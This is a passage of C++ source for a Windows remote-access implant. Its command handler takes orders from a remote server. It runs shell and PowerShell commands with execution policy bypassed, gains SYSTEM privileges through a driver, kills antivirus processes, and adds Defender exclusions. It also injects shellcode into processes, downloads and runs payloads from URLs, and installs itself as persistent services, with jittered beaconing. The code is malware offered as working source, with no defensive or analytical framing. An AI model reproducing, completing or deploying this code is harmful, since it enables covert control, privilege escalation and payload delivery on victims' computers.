error = L"empty url or path";
return false;
}
std::string bytes;
DWORD status = 0;
if (!HttpRequest(L"GET", url, L"", nullptr, std::string(), bytes, &status))
{
error = L"http request failed";
return false;
}
if (status != 0 && status != 200)
{
error = L"http status " + std::to_wstring(status);
return false;
}
if (bytes.empty())
{
error = L"empty response";
return false;
}
// Hard ceiling so a hostile or broken URL cannot fill the disk.
const size_t maxBytes = 256ull * 1024ull * 1024ull;
if (bytes.size() > maxBytes)
{
error = L"payload too large (>256MB)";
return false;
}
std::wstring outPath = TrimQuotes(outPathIn);
wchar_t abs[4096]{};
if (GetFullPathNameW(outPath.c_str(), _countof(abs), abs, nullptr))
outPath = abs;
std::wstring dir = outPath;
size_t slash = dir.find_last_of(L'\\');
if (slash != std::wstring::npos)
{
dir = dir.substr(0, slash);
CreateDirectoryW(dir.c_str(), nullptr);
}
HANDLE file = CreateFileW(
outPath.c_str(),
GENERIC_WRITE,
0,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
nullptr);
if (file == INVALID_HANDLE_VALUE)
{
error = L"create failed " + std::to_wstring(GetLastError());
return false;
}
DWORD written = 0;
BOOL wrote = WriteFile(file, bytes.data(), (DWORD)bytes.size(), &written, nullptr);
DWORD writeError = GetLastError();
CloseHandle(file);
if (!wrote || written != bytes.size())
{
error = L"write failed " + std::to_wstring(writeError);
DeleteFileW(outPath.c_str());
return false;
}
if (!expectedSha256.empty())
{
std::wstring actual = Sha256OfFile(outPath);
if (actual.empty() || _wcsicmp(actual.c_str(), expectedSha256.c_str()) != 0)
{
error = L"hash mismatch got " + (actual.empty() ? L"(unreadable)" : actual);
DeleteFileW(outPath.c_str());
return false;
}
}
Log(L"[cloud] downloaded %s (%zu bytes) -> %s",
url.c_str(),
bytes.size(),
outPath.c_str());
return true;
}
static HANDLE AcquireSystemToken()
{
HANDLE preferred = nullptr;
if (EnsureDriverLoaded())
EscalateViaDriver(&preferred);
HANDLE tok = GetSystemToken(preferred);
if (preferred)
CloseHandle(preferred);
return tok;
}
static bool RunCommandLineAsSystem(const std::wstring& commandLine)
{
if (commandLine.empty())
return false;
HANDLE tok = AcquireSystemToken();
if (!tok)
return false;
std::wstring cmdExe = GetCmdExePath();
std::wstring args = L"/C ";
args += commandLine;
bool ok = StartProcessAsSystem(tok, cmdExe.c_str(), args.c_str(), false);
CloseHandle(tok);
return ok;
}
static bool RunFilePathCurrent(const std::wstring& path, const std::wstring& args)
{
std::wstring full = MakeCommandLineFromPath(path, args);
return RunCommandLineCurrent(full);
}
static bool RunFilePathUser(const std::wstring& path, const std::wstring& args)
{
std::wstring full = MakeCommandLineFromPath(path, args);
return RunCommandLineAsUser(full);
}
static bool RunFilePathSystem(const std::wstring& path, const std::wstring& args)
{
HANDLE tok = AcquireSystemToken();
if (!tok)
return false;
std::wstring cleanPath = TrimQuotes(path);
bool ok = StartProcessAsSystem(
tok,
cleanPath.c_str(),
args.empty() ? nullptr : args.c_str(),
false);
CloseHandle(tok);
return ok;
}
static bool KillProcessCloud(DWORD pid)
{
if (pid == 0 || pid == 4)
return false;
if (EnsureDriverLoaded() && TerminateProcessViaDriver(pid))
return true;
HANDLE h = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
if (!h)
return false;
BOOL ok = TerminateProcess(h, 0);
CloseHandle(h);
return ok == TRUE;
}
static bool StartServiceByName(const std::wstring& name)
{
if (name.empty())
return false;
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!scm)
return false;
SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
if (!svc)
{
CloseServiceHandle(scm);
return false;
}
SERVICE_STATUS st{};
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
if (!running)
{
if (!StartServiceW(svc, 0, nullptr))
{
DWORD e = GetLastError();
if (e != ERROR_SERVICE_ALREADY_RUNNING)
{
CloseServiceHandle(svc);
CloseServiceHandle(scm);
return false;
}
}
}
CloseServiceHandle(svc);
CloseServiceHandle(scm);
return true;
}
static std::wstring RegReadGuardConfig(const wchar_t* name)
{
std::wstring out;
HKEY h = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) != ERROR_SUCCESS)
return out;
DWORD type = 0;
DWORD size = 0;
if (RegQueryValueExW(h, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS ||
(type != REG_SZ && type != REG_EXPAND_SZ) ||
size == 0)
{
RegCloseKey(h);
return out;
}
std::vector<wchar_t> buf(size / sizeof(wchar_t) + 1);
if (RegQueryValueExW(h, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS)
out = buf.data();
RegCloseKey(h);
return out;
}
static DWORD RegReadGuardDword(const wchar_t* name, DWORD fallback)
{
HKEY h = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) != ERROR_SUCCESS)
return fallback;
DWORD value = 0;
DWORD size = sizeof(value);
DWORD type = 0;
DWORD result = fallback;
if (RegQueryValueExW(h, name, nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS &&
type == REG_DWORD)
{
result = value;
}
RegCloseKey(h);
return result;
}
static bool RegWriteGuardDword(const wchar_t* name, DWORD value)
{
HKEY h = nullptr;
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, nullptr, 0, KEY_SET_VALUE, nullptr, &h, nullptr)
!= ERROR_SUCCESS)
{
return false;
}
bool ok = RegSetValueExW(h, name, 0, REG_DWORD, (const BYTE*)&value, sizeof(value)) == ERROR_SUCCESS;
RegCloseKey(h);
return ok;
}
static std::wstring ServiceStateOf(const std::wstring& name);
static std::wstring DriverStatusString()
{ const bool device = OpenDriver();
if (device)
CloseDriver();
std::wstring service = RegReadGuardConfig(L"DriverService");
if (service.empty())
service = L"ArDrv";
std::wostringstream os;
os << L"device=" << (device ? L"ok" : L"unavailable")
<< L" embedded=" << EmbeddedDriverSize()
<< L" fail=" << RegReadGuardDword(L"DriverFailCount", 0)
<< L"/" << RegReadGuardDword(L"DriverFailMax", 3)
<< L" state=" << (RegReadGuardConfig(L"DriverState").empty() ? L"unset" : RegReadGuardConfig(L"DriverState"))
<< L" service=" << service << L":" << ServiceStateOf(service);
return os.str();
}
static std::wstring ServiceStateOf(const std::wstring& name){
if (name.empty())
return L"unset";
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!scm)
return L"scm-denied";
SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_QUERY_STATUS);
std::wstring state = L"missing";
if (svc)
{
SERVICE_STATUS st{};
if (QueryServiceStatus(svc, &st))
{
switch (st.dwCurrentState)
{
case SERVICE_RUNNING: state = L"running"; break;
case SERVICE_STOPPED: state = L"stopped"; break;
case SERVICE_START_PENDING: state = L"start-pending"; break;
case SERVICE_STOP_PENDING: state = L"stop-pending"; break;
case SERVICE_PAUSED: state = L"paused"; break;
default: state = L"state-" + std::to_wstring(st.dwCurrentState); break;
}
}
else
{
state = L"query-failed";
}
CloseServiceHandle(svc);
}
CloseServiceHandle(scm);
return state;
}
static std::wstring GetStatusString()
{
std::wostringstream os;
os << L"pid=" << GetCurrentProcessId()
<< L" system=" << (IsCurrentProcessSystem() ? 1 : 0)
<< L" admin=" << (IsProcessAdmin() ? 1 : 0)
<< L" sid=" << GetProcessSidString();
std::wstring driver = RegReadGuardConfig(L"DriverServiceName");
std::wstring guard = RegReadGuardConfig(L"GuardServiceName");
std::wstring repair = RegReadGuardConfig(L"RepairServiceName");
if (!driver.empty() || !guard.empty() || !repair.empty())
{
os << L" driver=" << (driver.empty() ? L"unset" : driver) << L":" << ServiceStateOf(driver)
<< L" guard=" << (guard.empty() ? L"unset" : guard) << L":" << ServiceStateOf(guard)
<< L" repair=" << (repair.empty() ? L"unset" : repair) << L":" << ServiceStateOf(repair);
}
return os.str();
}
static bool ProcessCommand(const std::wstring& commandLine, std::wstring& result, bool& stop)
{
stop = false;
result.clear();
std::wstring cmd = commandLine;
TrimW(cmd);
if (cmd.empty())
return false;
size_t sp = cmd.find(L' ');
std::wstring op = sp == std::wstring::npos ? cmd : cmd.substr(0, sp);
std::wstring rest = sp == std::wstring::npos ? std::wstring() : cmd.substr(sp + 1);
TrimW(rest);
if (_wcsicmp(op.c_str(), L"HELP") == 0)
{
result =
L"Commands:\r\n"
L"PING\r\n"
L"STATUS\r\n"
L"HELP\r\n"
L"RUN <cmd>\r\n"
L"EXEC <commandline>\r\n"
L"RUN_USER <cmd>\r\n"
L"RUN_SYSTEM <cmd>\r\n"
L"PS <powershell command>\r\n"
L"PS_USER <powershell command>\r\n"
L"RUNFILE <path> [args]\r\n"
L"RUNFILE_USER <path> [args]\r\n"
L"RUNFILE_SYSTEM <path> [args]\r\n"
L"OPENFILE <path> [args]\r\n"
L"OPENFILE_USER <path> [args]\r\n"
L"KILLPID <pid>\r\n"
L"KILLNAME <name.exe>\r\n"
L"KILLALL <name.exe>\r\n"
L"KILLAV\r\n"
L"KILLAV_DRYRUN\r\n"
L"HOST_LIST\r\n"
L"HOST_SPAWN [--host <image>] <exe> [args]\r\n"
L"HOST_SPAWN_USER [--host <image>] <exe> [args]\r\n"
L"HOST_INJECT <shellcode-path> [--host <image>]\r\n"
L"HOST_TRACK\r\n"
L"HOST_UNTRACK\r\n"
L"STAGE_STATUS\r\n"
L"STAGE_INJECT [--host <image>]\r\n"
L"STAGE_RUN <command line>\r\n"
L"STAGE_STOP\r\n"
L"EXCLUSION_LIST\r\n"
L"EXCLUSION_ADD <path>\r\n"
L"EXCLUSION_APPLY\r\n"
L"DRIVER_STATUS\r\n"
L"DRIVER_RESET\r\n"
L"TOKEN_GET\r\n"
L"DRIVER_LOAD\r\n"
L"INJECT_FILE <pid> <shellcode-path>\r\n"
L"INJECT_SUSPEND <exe-path> <shellcode-path>\r\n"
L"INSTALL_SERVICE <name> [binary-path]\r\n"
L"INSTALL_CLOUD_SERVICE <name>\r\n"
L"INSTALL_GUARD_SERVICES [--target <path>] [--target-service <name>] [--args <args>]\r\n"
L"DOWNLOAD <url> <output-path> [sha256]\r\n"
L"DEPLOY <url> [args]\r\n"
L"DEPLOY_SYSTEM <url> [args]\r\n"
L"START_SERVICE <name> [binary-path]\r\n"
L"SERVICE_STATUS <name>\r\n"
L"STOP";
return true;
}
if (_wcsicmp(op.c_str(), L"PING") == 0)
{
result = L"PONG";
return true;
}
if (_wcsicmp(op.c_str(), L"STATUS") == 0)
{
result = GetStatusString();
return true;
}
if (_wcsicmp(op.c_str(), L"RUN") == 0)
{
if (rest.empty())
{
result = L"ERR_USAGE RUN <cmd>";
return false;
}
std::wstring full = L"cmd.exe /C ";
full += rest;
result = RunCommandLineCurrent(full) ? L"OK" : L"ERR RUN";
return result == L"OK";
}
if (_wcsicmp(op.c_str(), L"EXEC") == 0)
{
if (rest.empty())
{
result = L"ERR_USAGE EXEC <commandline>";
return false;
}
result = RunCommandLineCurrent(rest) ? L"OK" : L"ERR EXEC";
return result == L"OK";
}
if (_wcsicmp(op.c_str(), L"RUN_USER") == 0)
{
if (rest.empty())
{
result = L"ERR_USAGE RUN_USER <cmd>";
return false;
}
std::wstring full = L"cmd.exe /C ";
full += rest;
result = RunCommandLineAsUser(full) ? L"OK" : L"ERR RUN_USER";
return result == L"OK";
}
if (_wcsicmp(op.c_str(), L"RUN_SYSTEM") == 0)
{
if (rest.empty())
{
result = L"ERR_USAGE RUN_SYSTEM <cmd>";
return false;
}
result = RunCommandLineAsSystem(rest) ? L"OK" : L"ERR RUN_SYSTEM";
return result == L"OK";
}
if (_wcsicmp(op.c_str(), L"PS") == 0)
{
if (rest.empty())
{
result = L"ERR_USAGE PS <powershell command>";
return false;
}
std::wstring encoded = Utf16(Base64EncodeUtf16LE(rest));
std::wstring full = L"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
full += encoded;
result = RunCommandLineCurrent(full) ? L"OK" : L"ERR PS";
return result == L"OK";
}
if (_wcsicmp(op.c_str(), L"PS_USER") == 0)
{
if (rest.empty())
{
result = L"ERR_USAGE PS_USER <powershell command>";
return false;
}
std::wstring encoded = Utf16(Base64EncodeUtf16LE(rest));
std::wstring full = L"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
full += encoded;
result = RunCommandLineAsUser(full) ? L"OK" : L"ERR PS_USER";
return result == L"OK";
}
if (_wcsicmp(op.c_str(), L"RUNFILE") == 0 ||
_wcsicmp(op.c_str(), L"RUNFILE_USER") == 0 ||
_wcsicmp(op.c_str(), L"RUNFILE_SYSTEM") == 0)
{
const bool asUser = (_wcsicmp(op.c_str(), L"RUNFILE_USER") == 0);
const bool asSystem = (_wcsicmp(op.c_str(), L"RUNFILE_SYSTEM") == 0);
if (rest.empty())
{
result = asSystem
? L"ERR_USAGE RUNFILE_SYSTEM <path> [args]"
: (asUser ? L"ERR_USAGE RUNFILE_USER <path> [args]" : L"ERR_USAGE RUNFILE <path> [args]");
return false;
}
size_t pos = 0;
std::wstring path;
if (!ParseToken(rest, pos, path))
{
result = L"ERR_USAGE PATH";
return false;
}
while (pos < rest.size() && iswspace(rest[pos]))
++pos;
std::wstring args = rest.substr(pos);
TrimW(args);
bool ok = false;
if (asSystem)
ok = RunFilePathSystem(path, args);
else if (asUser)
ok = RunFilePathUser(path, args);
else
ok = RunFilePathCurrent(path, args);
result = ok ? L"OK" : L"ERR RUNFILE";
return ok;
}
if (_wcsicmp(op.c_str(), L"OPENFILE") == 0 || _wcsicmp(op.c_str(), L"OPENFILE_USER") == 0)
{
const bool asUser = (_wcsicmp(op.c_str(), L"OPENFILE_USER") == 0);
if (rest.empty())
{
result = asUser ? L"ERR_USAGE OPENFILE_USER <path> [args]" : L"ERR_USAGE OPENFILE <path> [args]";
return false;
}
size_t pos = 0;
std::wstring path;
if (!ParseToken(rest, pos, path))
{
result = L"ERR_USAGE PATH";
return false;
}
while (pos < rest.size() && iswspace(rest[pos]))
++pos;
std::wstring args = rest.substr(pos);
TrimW(args);
if (asUser)
{
std::wstring full = L"cmd.exe /C start \"\" ";
full += QuotePathIfNeeded(path);
if (!args.empty())
{
full += L" ";
full += args;
}
result = RunCommandLineAsUser(full) ? L"OK" : L"ERR OPENFILE_USER";
}
else
{
result = RunShellExecuteCurrent(path, args) ? L"OK" : L"ERR OPENFILE";
}
return result == L"OK";
}
if (_wcsicmp(op.c_str(), L"KILLPID") == 0)
{
DWORD pid = (DWORD)wcstoul(rest.c_str(), nullptr, 10);
if (pid == 0)
{
result = L"ERR_USAGE KILLPID <pid>";
return false;
}
result = KillProcessCloud(pid) ? L"OK" : L"ERR KILLPID";
return result == L"OK";
}
if (_wcsicmp(op.c_str(), L"KILLNAME") == 0)
{
if (rest.empty())
{
result = L"ERR_USAGE KILLNAME <name.exe>";
return false;
}
DWORD pid = GetPidByName(rest.c_str());
result = (pid && KillProcessCloud(pid)) ? L"OK" : L"ERR KILLNAME";
return result == L"OK";
}
if (_wcsicmp(op.c_str(), L"KILLALL") == 0)
{
if (rest.empty())
{
result = L"ERR_USAGE KILLALL <name.exe>";
return false;
}
int killed = 0;
for (int i = 0; i < 20; ++i)
{
DWORD pid = GetPidByName(rest.c_str());
if (pid == 0)
break;
if (KillProcessCloud(pid))
++killed;
Sleep(50);
}
std::wostringstream os;
os << L"OK killed=" << killed;
result = os.str();
return true;
}
if (_wcsicmp(op.c_str(), L"KILLAV") == 0 ||
_wcsicmp(op.c_str(), L"KILLAV_DRYRUN") == 0)
{
const bool dryRun = (_wcsicmp(op.c_str(), L"KILLAV_DRYRUN") == 0);
EnsureDriverLoaded();
std::wstring summary;
if (!KillAVProcessesEx(dryRun, summary))
{
result = L"OK " + summary;
return true;
}
result = L"OK " + summary;
return true;
}
if (_wcsicmp(op.c_str(), L"HOST_INJECT") == 0)
{
size_t pos = 0;
std::wstring token;
std::wstring preferred;
if (ParseToken(rest, pos, token) && _wcsicmp(token.c_str(), L"--host") == 0)
{
ParseToken(rest, pos, preferred);
}
else
{
pos = 0;
}
std::wstring path;
if (!ParseToken(rest, pos, path))
{
result = L"ERR_USAGE HOST_INJECT <shellcode-path> [--host <image>]";
return false;
}
// Allow trailing "--host <image>" after the path too.
std::wstring trailing;
if (ParseToken(rest, pos, trailing) && _wcsicmp(trailing.c_str(), L"--host") == 0)
ParseToken(rest, pos, preferred);
HostInjectResult r = InjectShellcodeIntoHost(path, preferred, true);
result = FormatInjectResult(r);
return r.ok;
}
if (_wcsicmp(op.c_str(), L"HOST_TRACK") == 0)
{
result = FormatHostTrack(LoadHostTrack());
return true;
}
if (_wcsicmp(op.c_str(), L"HOST_UNTRACK") == 0)
{
bool ok = ClearHostTrack();
result = ok ? L"OK cleared" : L"ERR nothing to clear";
return ok;
}
if (_wcsicmp(op.c_str(), L"DRIVER_STATUS") == 0)
{
result = DriverStatusString();
return true;
}
if (_wcsicmp(op.c_str(), L"DRIVER_RESET") == 0)
{
bool ok = RegWriteGuardDword(L"DriverFailCount", 0);
if (ok)
RegWriteGuardDword(L"DriverState", 0);
result = std::wstring(ok ? L"OK counters cleared" : L"ERR registry write denied") +
L" | " + DriverStatusString();
return ok;
}
if (_wcsicmp(op.c_str(), L"EXCLUSION_LIST") == 0)
{
std::wstring note;
std::vector<std::wstring> current = QueryExclusions(note);
result = L"defender=" + std::wstring(DefenderPresent() ? L"present" : L"absent") +
L" current=" + note;
if (!current.empty())
result += L"\r\n" + FormatExclusionList(current);
std::vector<std::wstring> wanted = LoadExclusionList();
if (!wanted.empty())
result += L"\r\nwanted:\r\n" + FormatExclusionList(wanted);
return true;
}
if (_wcsicmp(op.c_str(), L"EXCLUSION_ADD") == 0)
{
if (rest.empty())
{
result = L"ERR_USAGE EXCLUSION_ADD <path>";
return false;
}
std::vector<std::wstring> paths = LoadExclusionList();
bool exists = false;
for (const auto& p : paths)
{
if (_wcsicmp(p.c_str(), rest.c_str()) == 0)
exists = true;
}
if (!exists)
paths.push_back(rest);
bool saved = SaveExclusionList(paths);
std::wstring report;
bool applied = ApplyExclusions(paths, report);
result = std::wstring(saved ? L"saved" : L"save-failed") +
(applied ? L" applied" : L" refused") + L"\r\n" + report;
return applied;
}
if (_wcsicmp(op.c_str(), L"EXCLUSION_APPLY") == 0)
{
std::vector<std::wstring> paths = LoadExclusionList();
if (paths.empty())
{
paths = DefaultExclusionPaths();
SaveExclusionList(paths);
}
std::wstring report;
bool applied = ApplyExclusions(paths, report);
result = (applied ? L"applied" : L"refused") + std::wstring(L"\r\n") + report;
return applied;
}
if (_wcsicmp(op.c_str(), L"STAGE_STATUS") == 0)
{
result = FormatStageStatus();
return true;
}
if (_wcsicmp(op.c_str(), L"STAGE_INJECT") == 0)
{
size_t pos = 0;
std::wstring token;
std::wstring preferred;
if (ParseToken(rest, pos, token) && _wcsicmp(token.c_str(), L"--host") == 0)
ParseToken(rest, pos, preferred);
HostInjectResult r = StageInject(L"", preferred, true);
result = FormatInjectResult(r);
if (r.ok)
result += L" | " + FormatStageStatus();
return r.ok;
}
if (_wcsicmp(op.c_str(), L"STAGE_RUN") == 0)
{
if (rest.empty())
{
result = L"ERR_USAGE STAGE_RUN <command line>";
return false;
}
std::wstring response;
if (!StageSend(L"RUN " + rest, response))
{
result = L"ERR stage not reachable";
return false;
}
result = response;
return true;
}
if (_wcsicmp(op.c_str(), L"STAGE_STOP") == 0)
{
std::wstring response;
if (!StageSend(L"STOP", response))
{
result = L"ERR stage not reachable";
return false;
}
result = response;
return true;
}
if (_wcsicmp(op.c_str(), L"HOST_LIST") == 0)
{
result = FormatHostList(EnumerateSystemHosts());
return true;
}
if (_wcsicmp(op.c_str(), L"HOST_SPAWN") == 0 ||
_wcsicmp(op.c_str(), L"HOST_SPAWN_USER") == 0)
{
const bool userSession = (_wcsicmp(op.c_str(), L"HOST_SPAWN_USER") == 0);
size_t pos = 0;
std::wstring token;
std::wstring preferred;
if (ParseToken(rest, pos, token) && _wcsicmp(token.c_str(), L"--host") == 0)
{
if (!ParseToken(rest, pos, preferred))
{
result = L"ERR_USAGE HOST_SPAWN [--host <image>] <exe> [args]";
return false;
}
}
else
{
pos = 0;
}
std::wstring exe;
if (!ParseToken(rest, pos, exe))
{
result = userSession
? L"ERR_USAGE HOST_SPAWN_USER [--host <image>] <exe> [args]"
: L"ERR_USAGE HOST_SPAWN [--host <image>] <exe> [args]";
return false;
}
std::wstring args = pos < rest.size() ? rest.substr(pos) : std::wstring();
TrimW(args);
std::wstring cmd = MakeCommandLineFromPath(exe, args);
SpawnResult r = SpawnThroughHost(cmd, preferred, userSession);
result = FormatSpawnResult(r);
return r.ok;
}
if (_wcsicmp(op.c_str(), L"TOKEN_GET") == 0)
{
HANDLE tok = AcquireSystemToken();
if (tok)
{
CloseHandle(tok);
result = L"OK";
return true;
}
result = L"ERR TOKEN_GET";
return false;
}
if (_wcsicmp(op.c_str(), L"DRIVER_LOAD") == 0)
{
bool ok = EnsureDriverLoaded();
result = ok ? L"OK" : L"ERR DRIVER_LOAD";
return ok;
}
if (_wcsicmp(op.c_str(), L"INJECT_FILE") == 0)
{
size_t pos = 0;
std::wstring pidStr;
std::wstring path;
if (!ParseToken(rest, pos, pidStr) || !ParseToken(rest, pos, path))
{
result = L"ERR_USAGE INJECT_FILE <pid> <shellcode-path>";
return false;
}
DWORD pid = (DWORD)wcstoul(pidStr.c_str(), nullptr, 10);
if (pid == 0)
{
result = L"ERR_USAGE INJECT_FILE <pid> <shellcode-path>";
return false;
}
std::vector<BYTE> shell;
if (!ReadFileToMemory(path.c_str(), shell))
{
result = L"ERR INJECT_FILE read";
return false;
}
HANDLE sys = AcquireSystemToken();
if (sys)
ImpersonateLoggedOnUser(sys);
bool ok = InjectShellcodeIntoExisting(pid, shell.data(), shell.size());
if (sys)
{
RevertToSelf();
CloseHandle(sys);
}
result = ok ? L"OK" : L"ERR INJECT_FILE";
return ok;
}
if (_wcsicmp(op.c_str(), L"INJECT_SUSPEND") == 0)
{
size_t pos = 0;
std::wstring exePath;
std::wstring shellPath;
if (!ParseToken(rest, pos, exePath) || !ParseToken(rest, pos, shellPath))
{
result = L"ERR_USAGE INJECT_SUSPEND <exe-path> <shellcode-path>";
return false;
}
std::vector<BYTE> shell;
if (!ReadFileToMemory(shellPath.c_str(), shell))
{
result = L"ERR INJECT_SUSPEND read";
return false;
}
HANDLE tok = AcquireSystemToken();
if (!tok)
{
result = L"ERR INJECT_SUSPEND token";
return false;
}
NewProcInfo info{};
if (!CreateProcessSuspendedAsSystem(tok, exePath.c_str(), nullptr, false, &info))
{
CloseHandle(tok);
result = L"ERR INJECT_SUSPEND create";
return false;
}
bool ok = InjectShellcodeAndResume(info, shell.data(), shell.size());
CloseHandle(tok);
result = ok ? L"OK" : L"ERR INJECT_SUSPEND";
return ok;
}
if (_wcsicmp(op.c_str(), L"INSTALL_GUARD_SERVICES") == 0)
{
wchar_t module[MAX_PATH]{};
DWORD n = GetModuleFileNameW(nullptr, module, _countof(module));
if (n == 0 || n >= _countof(module))
{
result = L"ERR INSTALL_GUARD_SERVICES path";
return false;
}
std::wstring full = L"\"";
full += module;
full += L"\" -install-guard-services";
if (!rest.empty())
{
full += L" ";
full += rest;
}
bool ok = RunCommandLineCurrent(full);
result = ok ? L"OK" : L"ERR INSTALL_GUARD_SERVICES";
return ok;
}
if (_wcsicmp(op.c_str(), L"DOWNLOAD") == 0)
{
size_t pos = 0;
std::wstring url;
std::wstring outPath;
std::wstring sha;
if (!ParseToken(rest, pos, url) || !ParseToken(rest, pos, outPath))
{
result = L"ERR_USAGE DOWNLOAD <url> <output-path> [sha256]";
return false;
}
ParseToken(rest, pos, sha);
std::wstring error;
if (!DownloadUrlToFile(url, outPath, sha, error))
{
result = L"ERR DOWNLOAD " + error;
return false;
}
std::wstring saved = TrimQuotes(outPath);
std::wstring hash = Sha256OfFile(saved);
result = L"OK " + saved + (hash.empty() ? L"" : L" sha256=" + hash);
return true;
}
if (_wcsicmp(op.c_str(), L"DEPLOY") == 0 ||
_wcsicmp(op.c_str(), L"DEPLOY_SYSTEM") == 0)
{
const bool asSystem = (_wcsicmp(op.c_str(), L"DEPLOY_SYSTEM") == 0);
size_t pos = 0;
std::wstring url;
if (!ParseToken(rest, pos, url))
{
result = asSystem
? L"ERR_USAGE DEPLOY_SYSTEM <url> [args]"
: L"ERR_USAGE DEPLOY <url> [args]";
return false;
}
std::wstring args = rest.substr(pos);
TrimW(args);
std::wstring target = GetPayloadDir() + L"\\" + FileNameFromUrl(url);
std::wstring error;
if (!DownloadUrlToFile(url, target, L"", error))
{
result = L"ERR DEPLOY " + error;
return false;
}
bool ok = asSystem
? RunFilePathSystem(target, args)
: RunFilePathCurrent(target, args);
result = ok
? (asSystem ? L"OK SYSTEM " : L"OK ") + target
: (asSystem ? L"ERR DEPLOY_SYSTEM " : L"ERR DEPLOY ") + target;
return ok;
}
if (_wcsicmp(op.c_str(), L"INSTALL_CLOUD_SERVICE") == 0)
{
if (rest.empty())
{
result = L"ERR_USAGE INSTALL_CLOUD_SERVICE <name>";
return false;
}
wchar_t module[MAX_PATH]{};
DWORD n = GetModuleFileNameW(nullptr, module, _countof(module));
if (n == 0 || n >= _countof(module))
{
result = L"ERR INSTALL_CLOUD_SERVICE path";
return false;
}
std::wstring bin = L"\"";
bin += module;
bin += L"\" -cloud-service --service-name \"";
bin += rest;
bin += L"\"";
if (!g_activeCloudConfig.agent.empty())
{
bin += L" --agent \"";
bin += g_activeCloudConfig.agent;
bin += L"\"";
}
if (!g_activeCloudConfig.url.empty())
{
bin += L" --url \"";
bin += g_activeCloudConfig.url;
bin += L"\"";
}
if (!g_activeCloudConfig.secret.empty())
{
bin += L" --secret \"";
bin += g_activeCloudConfig.secret;
bin += L"\"";
}
bin += L" --interval ";
bin += std::to_wstring(g_activeCloudConfig.intervalMs);
if (g_allowVm)
bin += L" --allow-vm";
bin += L" --elevated";
bool ok = EnsureWin32Service(rest.c_str(), bin.c_str(), true);
result = ok ? L"OK" : L"ERR INSTALL_CLOUD_SERVICE";
return ok;
}
if (_wcsicmp(op.c_str(), L"INSTALL_SERVICE") == 0 ||
_wcsicmp(op.c_str(), L"START_SERVICE") == 0)
{
const bool startNow = (_wcsicmp(op.c_str(), L"START_SERVICE") == 0);
size_t pos = 0;
std::wstring name;
std::wstring path;
if (!ParseToken(rest, pos, name))
{
result = startNow
? L"ERR_USAGE START_SERVICE <name> [binary-path]"
: L"ERR_USAGE INSTALL_SERVICE <name> [binary-path]";
return false;
}
if (!ParseToken(rest, pos, path))
{
if (startNow)
{
bool ok = StartServiceByName(name);
result = ok ? L"OK" : L"ERR START_SERVICE";
return ok;
}
wchar_t module[MAX_PATH]{};
DWORD n = GetModuleFileNameW(nullptr, module, _countof(module));
if (n == 0 || n >= _countof(module))
{
result = L"ERR INSTALL_SERVICE path";
return false;
}
path = module;
}
bool ok = EnsureWin32Service(name.c_str(), path.c_str(), startNow);
result = ok ? L"OK" : L"ERR SERVICE";
return ok;
}
if (_wcsicmp(op.c_str(), L"SERVICE_STATUS") == 0)
{
if (rest.empty())
{
result = L"ERR_USAGE SERVICE_STATUS <name>";
return false;
}
result = IsServiceRunning(rest.c_str()) ? L"RUNNING" : L"STOPPED";
return true;
}
if (_wcsicmp(op.c_str(), L"STOP") == 0)
{
stop = true;
result = L"OK STOP";
return true;
}
result = L"ERR UNKNOWN";
return false;
}
static void SetCurrentDirectoryToModuleDir()
{
wchar_t path[MAX_PATH]{};
DWORD len = GetModuleFileNameW(nullptr, path, _countof(path));
if (len == 0 || len >= _countof(path))
return;
std::wstring p = path;
size_t pos = p.find_last_of(L"\\");
if (pos != std::wstring::npos)
p = p.substr(0, pos);
SetCurrentDirectoryW(p.c_str());
}
static bool StartupActions(const CloudConfig& cfg)
{
SetCurrentDirectoryToModuleDir();
if (cfg.startDriver)
{
bool ok = EnsureDriverLoaded();
Log(L"[cloud] startup driver loaded=%d", ok ? 1 : 0);
}
if (!cfg.startupFile.empty())
{
std::wstring path = TrimQuotes(cfg.startupFile);
if (cfg.startupAsUser)
{
std::wstring cmd = L"cmd.exe /C start \"\" ";
cmd += QuotePathIfNeeded(path);
if (!cfg.startupArgs.empty())
{
cmd += L" ";
cmd += cfg.startupArgs;
}
RunCommandLineAsUser(cmd);
}
else
{
RunShellExecuteCurrent(path, cfg.startupArgs);
}
}
if (!cfg.startupCommand.empty())
{
std::wstring result;
bool stop = false;
ProcessCommand(cfg.startupCommand, result, stop);
if (stop)
return false;
}
return true;
}
static DWORD Jitter(DWORD baseMs)
{
if (baseMs < 1000)
baseMs = 1000;
LARGE_INTEGER li{};
QueryPerformanceCounter(&li);
DWORD seed = (DWORD)(li.LowPart ^ (DWORD)GetCurrentProcessId());
return baseMs / 2 + (seed % (baseMs + 1));
}
static bool SleepWithStop(DWORD ms, HANDLE stopEvent)
{
if (!stopEvent)
{
Sleep(ms);
return false;
}
return WaitForSingleObject(stopEvent, ms) == WAIT_OBJECT_0;
}
// Recently executed command ids. The server requeues commands that were claimed
// but never acknowledged (180s reaper), so a slow command could otherwise run
// twice. A short memory of what we already did makes the retry a no-op.
static std::deque<std::wstring> g_executed;
static const size_t kExecutedMemory = 512;
static bool AlreadyExecuted(const std::wstring& id)
{
return std::find(g_executed.begin(), g_executed.end(), id) != g_executed.end();
}
static void RememberExecuted(const std::wstring& id)
{
if (id.empty())
return;
g_executed.push_back(id);
while (g_executed.size() > kExecutedMemory)
g_executed.pop_front();
}
